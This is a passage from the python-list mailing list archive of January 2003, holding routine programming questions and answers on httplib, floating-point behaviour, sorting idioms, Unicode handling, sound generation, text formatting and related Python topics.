> doesn't work with httplib. One Moment please ....
> Back again.
> Just did another test. It won't work with HTTPConnection either!
> Status is: 302 reason is: Found
> What the fuck is happening that Browser and Wget take care of but httplib
> don't??? I'd really like to know. Any clue?
>
> Phillip
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From elvis at e-apollo.lv  Wed Jan 29 10:39:28 2003
From: elvis at e-apollo.lv (Elvis Zaichenok)
Date: 29 Jan 2003 07:39:28 -0800
Subject: simple math don't work like I expected
Message-ID: <1ac767fa.0301290739.3f20d917@posting.google.com>

Please, could somebody explain why things work like this? Why 1.0<1?


Python 2.2 (#1, Apr 12 2002, 15:29:57)
[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-109)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a=1.99
>>> while a<2.01:
...     if (a-1)<1:
...         print(str(a-1)+'<1')
...     a=a+0.005
...
0.99<1
0.995<1
1.0<1


Thanks.



From janez.jere at void.si  Sun Jan  5 19:17:19 2003
From: janez.jere at void.si (janez jere)
Date: Mon, 06 Jan 2003 01:17:19 +0100
Subject: serverpages - ASP devel. tool
Message-ID: <1vhh1vshlgv5o7kbqicacdvs490elulu52@4ax.com>

I would like to show own tool for developing python asp pages. 

further development (publishing) will depend if someone will use this
stuff. 

http://www.geocities.com/janez_jere/serverpages.zip

below is almost complete documentation:( 

Janez


Serverpages is a python script, which emulates MS Active Server pages.
It is developed as small embedded asp server and in-house tool to add
profiling to Mark's python ASP implementation. Just a fraction of MS
ASP model is implemented, but enough to test and analyze a simple
python scripts, and serve simple pages. 

Features
-Standalone web server used to test python ASP scripts. 
-Usable as a integrated web server for a ordinary python application,
-Serverpages can be run in a thread and providing web interface to the
app. 
-Capable of generating completely standalone python scripts, that can
be checked with python debuggers. This way it might be easier to debug
it than with IIS and Mark's python ASP implementation. 
-Thanks to Mod_python same ASP's can be run inside apache - very
incomplete. 
-Limited platform independence, because same scripts can be run on
linux too and without COM. Without COM execution takes only 20% of
time for the same script 
-Checs correctness of ASP (for example if ContentType is set too late,
because the headers are already flushed) 
-Integrated profiler support 
-Verbose request tracking 
-Simple user interface (self hosted by serverpages and accessible with
latest browsers (must support xml and xslt, tested with ie6, phoenix) 
jython is somehow supported and tested with lastest jython 2.2 alpha
(CVS) 



From ajw126NO at SPAMyork.ac.uk  Fri Jan  3 07:17:14 2003
From: ajw126NO at SPAMyork.ac.uk (Andrew Wilkinson)
Date: Fri, 3 Jan 2003 12:17:14 -0000
Subject: Odd code in lib\os.py
Message-ID: <3e157f4a$0$166$65c69314@mercury.nildram.net>

Hi,

I was looking at the os standard library and I noticed that there's some
rather odd code in it.

In the section for NT...
from nt import *
for i in ['_exit']:
    try:
        exec "from nt import " + i
    except ImportError:
        pass

What's wrong with
from nt import *
try:
    from nt import _exit
except ImportError:
    pass

?

I'm trying to statically analyse Python code and unfortunately I can't do
anything with dynamic code such as exec and eval. Having an exec statement
in such as core module is causing me great problems.

Is there any reason for it being there, or can I submit a patch to have it
remove?

Cheers,
Andrew Wilkinson





From clifford.wells at attbi.com  Wed Jan 22 00:14:58 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 21 Jan 2003 21:14:58 -0800
Subject: Communication between two programs on unix
In-Reply-To: <b0kvs0$o59$1@bob.news.rcn.net>
References: <b0kvs0$o59$1@bob.news.rcn.net>
Message-ID: <1043212498.4926.37.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-21 at 20:14, morden wrote:
> I want to connect the standard output of the tkinter app to the stdin of 
> the motif app to return results and connect stdout of motif app to the
> input of the tkinter app. Is that doable? I suppose this is what 
> os.popen will do. Right?
> 
> Scenario #1: I run my tkinter program with no flags and it
> 	popens motif app it should communicate with
> 
> Scenario #2: I connect to a remote system using 'cu' from uucp package
> 	and run a unix app there communicating to my tkinter app spawned
> 	with ~+ sequence in cu (that's what you use to run rz/sz over cu 
> session, right?)
> 
> Scenario #3: I use ssh to get into a remote system and run a unix app 
> there. I have the following question about this scenario: How would I 
> connect input of the tkinter program to the output
> of the motif app and vice versa in this case? Is there any way to tell 
> ssh client to do this or I would have to modify my apps to have support 
> for ssl/tls?

As a starting point:

http://www.google.com/search?q=netcat

-- 
Cliff Wells <clifford.wells at attbi.com>





From theller at python.net  Mon Jan  6 15:06:19 2003
From: theller at python.net (Thomas Heller)
Date: 06 Jan 2003 21:06:19 +0100
Subject: Distributing Python apps
References: <mailman.1041879011.21003.python-list@python.org>
Message-ID: <4r8m9h6s.fsf@python.net>

Just van Rossum <just at letterror.com> writes:

> Python 2.3a1 contains modulefinder.py (used to be part of the Freeze
> package). It does static import analysis and keeps track of which
> modules import which. It still needs to be documented, though... It only
> misses imports done in exec statements and by __import__ calls.
> 
It also misses those done by PyImport_ImportModule*() ;-)
Otherwise, it is pretty cool now.

Thomas



From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 01:55:22 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 11 Jan 2003 22:55:22 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org>
Message-ID: <7x4r8ej1r9.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.de> writes:
> For my planning (which is just where I'd like to go, but maybe the
> group will decide otherwise), there will be a native compiler
> version for every platform, finally.  But I'm also thinking of a
> generic virtual machine, modelled after Knuth's MMIX engne, which
> should run on any platform.

Native compilers are good and a generic VM are good, but modelling the
generic VM after MMIX doesn't seem like such a great choice.  Why not
just a simple threaded or byte-code interpreter similar to the
intermediate code of the compiler?  MMIX is a 64-bit machine with 256
registers and simulating it with a 32-bit machine might be much slower
than using a stack based VM.

Heck, maybe you could even emit C code and compile it externally, sort
of like Kyoto Common Lisp (now AKCL/GNU Common Lisp) does.

> > I've had the idea for a while that a "minimal" Python should actually
> > include some language extensions to improve execution speed.  For
> > example, being able to declare local variables and give type advice to
> > the compiler (like Lisp systems do) can make it possible to early-bind
> > class methods and slots to their callers.  That can avoid an awful lot
> > of dictionary lookups and speeds things up considerably.
> 
> This is the very last thing I'm thinking of.  In the first place, I
> want to go as far as possible with runtime deducible
> conclusions. When that principle gets stuck, we should consider to
> implement hints.

I think that local declarations and type hints are useful language
improvements for more reasons than helping generate fast code.  They
can also help application programmer avoid bugs.  The compiler can
flag undeclared variables (similar to perl's very worthwhile directive
"use strict") and it can (in non-optimizing mode) emit code to check
that all the type advice is correct at runtime and throw an exception
if the advice fails.  If these features were present in Python I'd use
them all the time.  But I started a clpy thread about it some time
back and it went nowhere.



From grey at despair.dmiyu.org  Sat Jan  4 14:56:23 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Sat, 04 Jan 2003 19:56:23 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122> <mailman.1041700089.24920.python-list@python.org>
Message-ID: <slrnb1ef37.4l0.grey@teleute.dmiyu.org>

On Sat, 4 Jan 2003 18:07:06 +0100, holger krekel <pyth at devel.trillke.net> wrote:
> If it would allow to embed e.g. a code-editor-ui into another ui then i
> would probably build on it.  Example: GUI-editing widgets are often
> allowed to be placed into another widget.  side question: 
> is this possible at all with curses and 'vim'?  

    Yes.  vim has an embedable version of it for one of the two major GUI
libraries.  I forget if it is GTK or QT.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From bokr at oz.net  Thu Jan 16 08:21:24 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 13:21:24 GMT
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de> <b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de> <3E2626D2.10094FC1@engcorp.com>
Message-ID: <b06bkk$amv$0@216.39.172.122>

On Wed, 15 Jan 2003 22:28:18 -0500, Peter Hansen <peter at engcorp.com> wrote:

>"Martin v. L?wis" wrote:
>> 
>> Bengt Richter wrote:
>> > I misunderstood the same way ;-) The title "Binary search" didn't primarily
>> > suggest binary data to me.
>> 
>> In German, "Bin?rsuche" would suggest binary data, whereas "bin?re
>> Suche" would suggest binary search. Both seem to translate naturally to
>> "binary search". I guess in Flemish, the problem is similar, hence the
>> misunderstanding.
>
>In any case, the OP fairly clearly indicated that he understood
>what the term "binary search" usually meant, and that he did not
>in fact mean that meaning...
>
(Continuing with nits ;-)
I'm sure the OP understood the distinctions, and in later posts
explicitly indicated what he meant, but my first impression was from
"""
Hi,

I'm looking for a function that allows me to do a binary search in a file.
Can anyone point me in the good direction?

Thanks in advacne,

Rudy
"""
I.e., it said "a binary search in a file" not "a search in a binary file".

Regards,
Bengt Richter



From paul at boddie.net  Mon Jan  6 06:46:04 2003
From: paul at boddie.net (Paul Boddie)
Date: 6 Jan 2003 03:46:04 -0800
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041546615.4111.python-list@python.org> <mailman.1041563344.12185.python-list@python.org> <sJbR9.4151$LY2.241302@newsc.telia.net> <m3n0mimxe7.fsf@mira.informatik.hu-berlin.de>
Message-ID: <23891c90.0301060346.56d38c6a@posting.google.com>

martin at v.loewis.de (Martin v. L?wis wrote in message news:<m3n0mimxe7.fsf at mira.informatik.hu-berlin.de>...
> "Fredrik Lundh" <fredrik at pythonware.com> writes:
> 
> > moving the tree building from Python to C++ can easily buy you 10x,
> > no matter what parser you're using.
> 
> Indeed; this is what makes 4Suite's cDomlette so fast.

And cDomlette produces document representations that can be
manipulated using standards-compliant APIs, too, for those of us that
care about that kind of thing. Hats off to Fourthought! :-)

Paul



From ritschratsch at gmx.de  Thu Jan  9 19:20:16 2003
From: ritschratsch at gmx.de (Phillip)
Date: Fri, 10 Jan 2003 01:20:16 +0100
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters
 (???))
References: <avcvi1$5av$03$1@news.t-online.com>	<20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>	<avfgo9$clb$05$1@news.t-online.com>	<20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>	<avh1a0$kle$04$1@news.t-online.com> <20030108125105.0e956b3c.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <avl383$vs2$05$1@news.t-online.com>

pythonhda schrieb:
 > If you can upgrade go ahead. If you're running redhat 7.x it usesv1.5 
 >(up2date
 >for example) and you *might* mess up your configuration if you upgrade 
 >*but* you can install python v2.x with an executable name "python2" 
 >(that's what the
 >v2.2.1 RPMs did for me).
 >
 > Now about the HTTP class. I only have it to be backwards compatible 
 >with v1.5 (that's what __doc__ string says). There's no mention of it
 >in my library reference. So what *I* would do is upgrade to 2.2.x

THat's what I just did.

 >making sure that it won't screw up my installation

Let's hope so ;-).

 >and then use the >HTTPConnection class becuase that is
 >what is in use now.

I don't quite get the documentation on how I'm supposed to tackle this.
HTTPConnection has different parameters (3 instead of 2) and some other 
issues that aren't *that* well dosumented. From what I gather I just 
can't change the constructor and be done with it....
A, well, we'll see.

 > You could also take a look at your current documentation to see if 
 >you're doing something wrong.

It works! With URLs *without* special characters other than "/". That 
seems to be the whole problem.

 > I hope that helps.
Yeah, it did. I might need some more! :-)

Phillip




From Padraig at Linux.ie  Tue Jan 28 05:02:25 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Tue, 28 Jan 2003 10:02:25 +0000
Subject: sort by last then by first
In-Reply-To: <sssZ9.94053$0v.2742655@news1.tin.it>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it>
Message-ID: <3E365531.3090909@Linux.ie>

Alex Martelli wrote:
> J?rgen Cederberg wrote:
>    ...
> 
>>When sorting a list by several fields, I use this method:
>>
>> >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
>>... 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
>> >>> snames = [ (x[1], x[0], x) for x in names]
>> >>> snames.sort()
>> >>> sortednames = [x[-1] for x in snames]
>> >>> sortednames
>>[['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
>>['Flintstone
>>', 'Pebbles'], ['Flintstone', 'Wilma']]
>> >>>
>>
>>I create a list of tuples, where the tuple is ordered in the way I want
>>to sort, i.e. "sort by last then by first". The last element is the
>>original item to be sorted. Sort them, and then extract the original item.
>>
>>Maybe there are faster and easier ways, but I understand this one.
> 
> 
> There is no substantially faster way than this approach (the "Decorate,
> Sort, Undecorate" idiom, aka DSU) for long-enough lists.  There _are_
> several slight variants that can come in handy sometimes, e.g. inserting 
> in each item of sortednames the index into names of the corresponding
> item, in order to make the sort "stable" (items that compare equal on
> all compared fields are then guaranteed to stay in the same order as
> they were originally -- the sort method, per se, is not stable up to
> Python 2.2, and is not guaranteed to remain stable in the future even
> though it is in 2.3).
> 
> I entirely agree that, almost always, DSU is simpler as well as faster
> (when it counts, i.e., for large lists) than the alternatives.  The
> main exceptions come when the sort needs to be ascending on certain
> fields but descending on others -- _then_ DSU gets a bit hairier.

wouldn't it be cool if [].sort() took an optional parameter that
was essentially the --key option in gnu sort. in this e.g:

names.sort("--key=1,1 --key=0,0")

or for more complicated forward and then reverse sorting like you
suggested:

names.sort("--key=1,1r --key=0,0")

P?draig.




From mwm at mired.org  Sat Jan  4 12:15:44 2003
From: mwm at mired.org (Mike Meyer)
Date: 04 Jan 2003 11:15:44 -0600
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <v1e5va.m14.ln@beastie.ix.netcom.com>
Message-ID: <x73co896pr.fsf@guru.mired.org>

[WTH, we're so far off topic it doesn't matter any more....]

Dennis Lee Bieber <wlfraed at ix.netcom.com> writes:
> Peter Hansen fed this fish to the penguins on Friday 03 January 2003 
> 06:31 am:
> > doing.  On the other hand, there are these new-fangled gadgets that
> > let you just enter a code in the TV guide and it will record the
> > selected show at the right time and duration.  Easy as pie.  Not
> > really programming.
>         muahahahahahhaha
>         The most confusing thing about using those codes is getting the VCR 
> channel assignments correct... Unless you are only using off-air 
> reception. For example, my local cable has off-air NBC-11 located on 
> VHF-cable 3. And I don't even want to consider the cable-only channels 
> which don't even have an off-air channel assignment.

Gotta love a TiVo. Higlight the program in the on-screen guide, and
tell it to record.

Now, if only the on-screen guides were perfect. But they're good
enough.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From max at alcyone.com  Fri Jan 10 23:09:11 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 20:09:11 -0800
Subject: The Python 2.3 Method Resolution Order
References: <2259b0e2.0301101453.101e81bf@posting.google.com>
Message-ID: <3E1F98E7.FF50EC8D@alcyone.com>

Michele Simionato wrote:

>   http://www.phyast.pitt.edut/~micheles/python.html
> 
> I welcome comments and observations.

You got an extra T in there; you meant:

	http://www.phyast.pitt.edu/~micheles/python.html

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Being in love for real / It ain't like a movie screen
\__/ India Arie
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From bokr at oz.net  Tue Jan  7 12:32:59 2003
From: bokr at oz.net (Bengt Richter)
Date: 7 Jan 2003 17:32:59 GMT
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <3E1ABCDA.7000209@corvil.com> <3E1AC41C.4080106@aon.at> <avert4$s8f$0@216.39.172.122> <gbDS9.15$mz.21446@news.uswest.net>
Message-ID: <avf30b$evc$0@216.39.172.122>

On Tue, 7 Jan 2003 08:25:20 -0800, "Kevin Altis" <altis at semi-retired.com> wrote:
[...]
>It would probably be wise to add a check to make sure the item is callable.
>
>class Someclass:
>    def __init__(self):
>        pass
>    def method1(self):
>        print 'Hi from method1'
>    def method2(self):
>        print 'Hi from method2'
>    def runallmethods(self):
>        # for name, func in self.__class__.__dict__.items():
>        for name in dir(self):
>            if name[:6] == 'method':
>                f = getattr(self, name)
>                if callable(f):
>                    f()

Good point. I took the 'method' prefix as a quasi-guarantee of that,
though of course it isn't a real guarantee. OTOH, if one is expecting
everything starting with 'method' to be of one's own making, one might
like some notification of a non-callable's being found, rather than
silently skipping it.

Regards,
Bengt Richter



From andrew at indranet.co.nz  Wed Jan 22 19:09:24 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Thu, 23 Jan 2003 13:09:24 +1300
Subject: Sound programming: Tone production in Python?
In-Reply-To: <Pine.SO4.4.44.0301221532420.23474-100000@jalapeno.ucs.indiana.edu>
References: <Pine.SO4.4.44.0301221532420.23474-100000@jalapeno.ucs.indiana.e
 du>
Message-ID: <55550000.1043280564@localhost.localdomain>

sndarray just gives you a way to access raw sample data.  If you want to 
make tones, calculate a sine wave with the right period, amplitude and 
zero-offset (which will depend on the output format and sample rate), and 
use sndarray to play it.

It would help to know better what you want to do, as messing with audio can 
pretty quickly get out of python's performance envelope.  As such, you 
might be better sticking to controlling something external (like a 
softsynth).

Andrew

--On Wednesday, January 22, 2003 15:41:10 -0500 Joseph Blaylock 
<blaylock at indiana.edu> wrote:

>
> I've been searching around the 'net for information on sound programming
> in Python, particularly tutorials, etc., but the outlook appears to be
> pretty bleak.  There's a lot of stuff about playing back
> previously-sampled audio files, but I haven't found anything about making
> music or (especially) generating raw tones.
>
> For example, if I wanted to generate a tone of 200 hertz and a tone of 205
> hertz on audio channels 0 and 1, respectively, for a duration of two
> seconds, how might I accomplish this?  Pygame's sndarray module looks
> promising, but seems a bit light on it's documentation, especially of a
> tutorial nature.
>
> So: can anybody tell me a sure-fire way to generate tones from Python?
> Bonus points for sticking to packages that are in Debian unstable, or
> part of the basic distribution.  And further, can anybody provide me
> pointers to more generalized sound/music programming resources for
> Python, especially of a tutorial nature?
>
> Thanks!
>
>     Joe
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From adalke at mindspring.com  Thu Jan  9 02:13:34 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 00:13:34 -0700
Subject: Do pythons like sugar?
In-Reply-To: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <avj7t4$uah$1@slb3.atl.mindspring.net>

Afanasiy wrote:
> I've written this method for a text formatting class...
> But it's ugly as sin. With all those self's I consider
> it much less readable than it could be...
   ...
> Does Python? eg. `with self do:`
> 
>   def format( self, width=80 ):    
>     self.lines = ['']
>     i = 0
>     for word in self.text.split():  
>       if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>         if self.textwidth(self.lines[i]) > 0:
>           self.lines[i] += ' '
>         self.lines[i] += word
>       else:
>         i += 1
>         self.lines.append(word)
> 

Do you really need all those self references?  This looks like it should
be a function, as in

def format(text, width = 80):
   lines = []
   line = ''
   for word in text.split():
     if len(line) + len(word) <= width:
       if line:
         line += ' '
       line += word
     else:
       if not line:
         raise TypeError("The word %r is more than %d colums!" % \
                            (word, width))
       lines.append(line)
       line = ''
   return lines

class ...
     def ...
         self.lines = format(text, 132)

(Note -- I'm using 'len' instead of your 'self.textwidth'.  You
could pass in the length function as a parameter if you want.)

If using Python 2.3, see the 'textwrap' module.

					Andrew
					dalke at dalkescientific.com




From woodsplitter at rocketmail.com  Wed Jan 15 17:25:51 2003
From: woodsplitter at rocketmail.com (David Rushby)
Date: 15 Jan 2003 14:25:51 -0800
Subject: Soundex or Metaphone algorithms ?
References: <199f365a.0301150213.45dbb9a5@posting.google.com>
Message-ID: <7876a8ea.0301151425.6df5f40f@posting.google.com>

yanarkana at yahoo.fr (Arkana) wrote in message news:<199f365a.0301150213.45dbb9a5 at posting.google.com>...
> hello,
> 
> does anyone know an implementation of soundex or metaphone algorithm in python ?
> 
> (or maybe a better algo)

PyProximity offers C implementations of soundex, metaphone, and
Levenshtein edit distance (
http://sourceforge.net/projects/pyproximity/ ).

I use the PyProximity implementation of the Levenshtein edit distance
algorithm, and the nysiis.py implementation of the NYSIIS soundex
algorithm ( http://metagram.webreply.com/downloads/nysiis.py ).



From surname.forename at aifb.uni-karlsruhe.de  Wed Jan 15 04:16:21 2003
From: surname.forename at aifb.uni-karlsruhe.de (Christian Schmidt)
Date: Wed, 15 Jan 2003 10:16:21 +0100
Subject: os.times() for other process
References: <avu7iv$jol$1@news.rz.uni-karlsruhe.de> <3e246e0f$1@news.nz.asiaonline.net>
Message-ID: <b038t2$jjf$1@news.rz.uni-karlsruhe.de>

Thanks Colin,
> A method I have used in the past (although not elegant, it is easy) is to
> use "pslist" from the
> pstools kit (www.sysinternals.com). For example:
>
> import os
> def ProcTimes(pid):
>     text = os.popen(r'c:\pstools\pslist '+str(pid),'r').read()
>     info = text.split('\n')[-2]
>     items = info.split()
>     return {'User': items[-3], 'Kernel': items[-2], 'Elapsed': items[-1]}
>
> I hope this helps.
Yes, this helps. But only on Windows...
On Linux I can parse /proc/pid/stat, but I was hoping that I could access
these values without parsing.





From mwh at python.net  Fri Jan 17 14:20:55 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 19:20:55 GMT
Subject: Problem installing module readline for  Python2.3a1 on SGI
References: <mailman.1042830034.7160.python-list@python.org>
Message-ID: <7h31y3bmvkj.fsf@pc150.maths.bris.ac.uk>

Alexandre Gillet <gillet at scripps.edu> writes:

> Hi,
> 
> I have a problem compilling and installing the readline module with
> Python2.3a1 on SGI irix 6.5.
> (I was able to compile python2.3a1)
> 
> Here is the error I am getting:
> cc  -DNDEBUG -O -OPT:Olimit=0 -I. -I../Include
> -I/mgl/prog/share/include/ -c ../Modules/readline.c -o
> Modules/readline.o
> 
> cc-1119 cc: ERROR File = ../Modules/readline.c, Line = 542
>    The "return" expression type differs from the function return type.
> 
>          return completion_matches(text, *on_completion);
>                 ^
> 
> cc-1552 cc: WARNING File = ../Modules/readline.c, Line = 686
>    The variable "m" is set but never used.
> 
>          PyObject *m;
>                    ^
> 
> 1 error detected in the compilation of "../Modules/readline.c".
> *** Error code 2
> 
> 
> Any ideas how I can get it to work.

What version of readline do you have installed?

I *think* just waiting for 2.3a2 might do it.  If anon CVS was
working, I'd ask you to try that...

Cheers,
M.

-- 
  I saw `cout' being shifted "Hello world" times to the left and
  stopped right there.                                -- Steve Gonedes



From max at alcyone.com  Thu Jan 23 19:26:30 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:26:30 -0800
Subject: paths (Newbee question)
References: <mailman.1043335841.17983.python-list@python.org>
Message-ID: <3E308836.E5396240@alcyone.com>

"Joseph C. Slater" wrote:

> I'm trying to use os.popen to run ps2pdf on a file. This works fine,
> as
> long as p2pdf is in the path, along with all of the other things it
> needs. To make a long story short, how do I, inside python, not in the
> call, set these paths?
> 
> I'm expecting this is pretty easy. Problem being, after applying that
> required 4 hours, I'm not finding it.

In a Bourne-like shell, you have the syntax

	ENV1=something ENV2=somethingElse program args...

So try invoking it as something like

	PATH=$PATH:/other/paths/you/need ps2pdf ...

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From dyoo at hkn.eecs.berkeley.edu  Mon Jan  6 13:39:53 2003
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Mon, 6 Jan 2003 18:39:53 +0000 (UTC)
Subject: Newbie need's help & will give back what I can???
References: <eB0S9.20176$Sa3.725600@twister.tampabay.rr.com> <tDOdnTBd18nKeYWjXTWc2Q@comcast.com> <2259b0e2.0301060757.3f72e932@posting.google.com>
Message-ID: <avcihp$k0g$1@agate.berkeley.edu>

:> > to help me in anyway at redlinux293 at juno.com I will be so happy to see
:> > somthing...This is my dream to program...

: Much better if you start from http://www.python.org/doc/Newbies.html
: And notice that there is a tutor mailing list.

Hi Justin,

Yes, I just wanted to reaffirm that you are welcome to join us on the
Python-Tutor mailing list:

    http://mail.python.org/mailman/listinfo/tutor


Please feel free to ask questions as you're learning Python; the
tutors and tutees (sp?) there will be happy to chat with you.


Best of wishes to you!



From martin at v.loewis.de  Tue Jan 21 07:15:52 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 21 Jan 2003 13:15:52 +0100
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <m3ptqs42vw.fsf@mira.informatik.hu-berlin.de> <b0hoij$oue1k$1@ID-75629.news.dfncis.de> <m3u1g3zeut.fsf@mira.informatik.hu-berlin.de> <b0j69u$p9n3b$1@ID-75629.news.dfncis.de>
Message-ID: <m3bs2ahf5z.fsf@mira.informatik.hu-berlin.de>

Christian Bretterklieber <cb at orcl.net> writes:

> > No. Instead, you should modify your script not to rely on the system
> > default encoding.
> 
>   This sounds like a lot of work. 

It's not a lot of work if you design carefully. I suggest to follow
this principle:
- convert all character data from byte strings to Unicode strings
  as early as possible in the processing chain (e.g. when reading
  them from a file, or a socket)
- convert all such data back to byte strings as late as possible
  (i.e. immediately before performing output)

> I have data from various sources. And
> does that mean if I set a simple string within my script, I also need to
> call encode? Like:
> 
>   mystring = 'Suppi String ??? ...'.encode('latin1')

As another design principle, try to avoid non-ASCII characters in
source code (use gettext instead, atleast if you are targetting
multiple languages). If you need them, be aware that Python 2.2
doesn't really support encodings for such strings - they are in the
encoding that the source code file happens to be in. In Python 2.3,
you will have to declare that encoding to Python.

In any case, as this is a string literal, obtaining a Unicode object
from it would require the unicode builtin, or the .decode method; the
.encode method will give a byte string back to you.

In Python 2.3, I would recommend that you declare the encoding, and
use Unicode literals instead of string literals (due to a limitation
in Python 2.2, Unicode literals are only meaningful in that version
when the source file is encoded in Latin-1).

Regards,
Martin



From claird at lairds.com  Sat Jan  4 13:09:14 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 04 Jan 2003 18:09:14 -0000
Subject: Calling a python program within a python program
References: <mailman.1041689649.9078.python-list@python.org> <pan.2003.01.04.17.09.05.932539@sdf-eu.org>
Message-ID: <v1e8qacv9jns9f@corp.supernews.com>

In article <pan.2003.01.04.17.09.05.932539 at sdf-eu.org>,
Rune Nesheim <runen at sdf-eu.org> wrote:
>> Is there any function from which I can call the another program. (The program 
>> is Python script only).
>
>You can simply import it into your python program.
>

... or any one of several other possibilities.  Do you want
the other program to act under the control of your original
one, or as a completely disjoint process, or to replace
your original process, or ...
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From gminick at hacker.pl  Wed Jan 22 08:48:27 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Wed, 22 Jan 2003 13:48:27 +0000 (UTC)
Subject: Pywin print w/o linefeed?
References: <b0k9e9$f5q$1@news.efn.org>
Message-ID: <b0m7fb$4ld$1@news.tpi.pl>

Dnia 21 Jan 2003 20:09:45 GMT, Spencer Ernest Doidge napisa?(a):
>>>> def go():
>         print 'hello world'
>         print 'goodbye world'
> 
>>>> go()
> hello world
> goodbye world
> 
> Is there some way to make Python print a string without the linefeed
> at the end? If there were <some instruction> to do that, then I could
> do this:


print 'string',
              ^
          that comma should help

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From peter at engcorp.com  Wed Jan 15 12:29:56 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Jan 2003 12:29:56 -0500
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com>
Message-ID: <3E259A94.840B8AC4@engcorp.com>

Boethius wrote:
> 
> Can I detect when a class member is added or updated?
> 
> I have a class with a member called path. Everytime it's updated, I'd
> like to run a 'sanity check' on the new value.
> 
> How can I do this?

Minor nit-picking on the terminology: you probably mean you
have an *object* (an instance of a class) with a "member"
(or attribute) which you want to sanity check.

Note that classes are also objects in Python, and those too
can be updated on-the-fly, but you don't appear to want to
do that.

-Peter



From mfranklin1 at gatwick.westerngeco.slb.com  Fri Jan 10 04:32:50 2003
From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin)
Date: Fri, 10 Jan 2003 09:32:50 +0000
Subject: tkinter: Passing arguments when binding keys to functions
In-Reply-To: <72pkva.lsr.ln@boundary.tundraware.com>
References: <72pkva.lsr.ln@boundary.tundraware.com>
Message-ID: <1042191172.1200.18.camel@m-franklin>

On Thu, 2003-01-09 at 21:20, Tim Daneliuk wrote:
> I have an array of 12 items that I want to associate with the 12 Function
> keys.  I want to call a common handler function for all 12 keys and
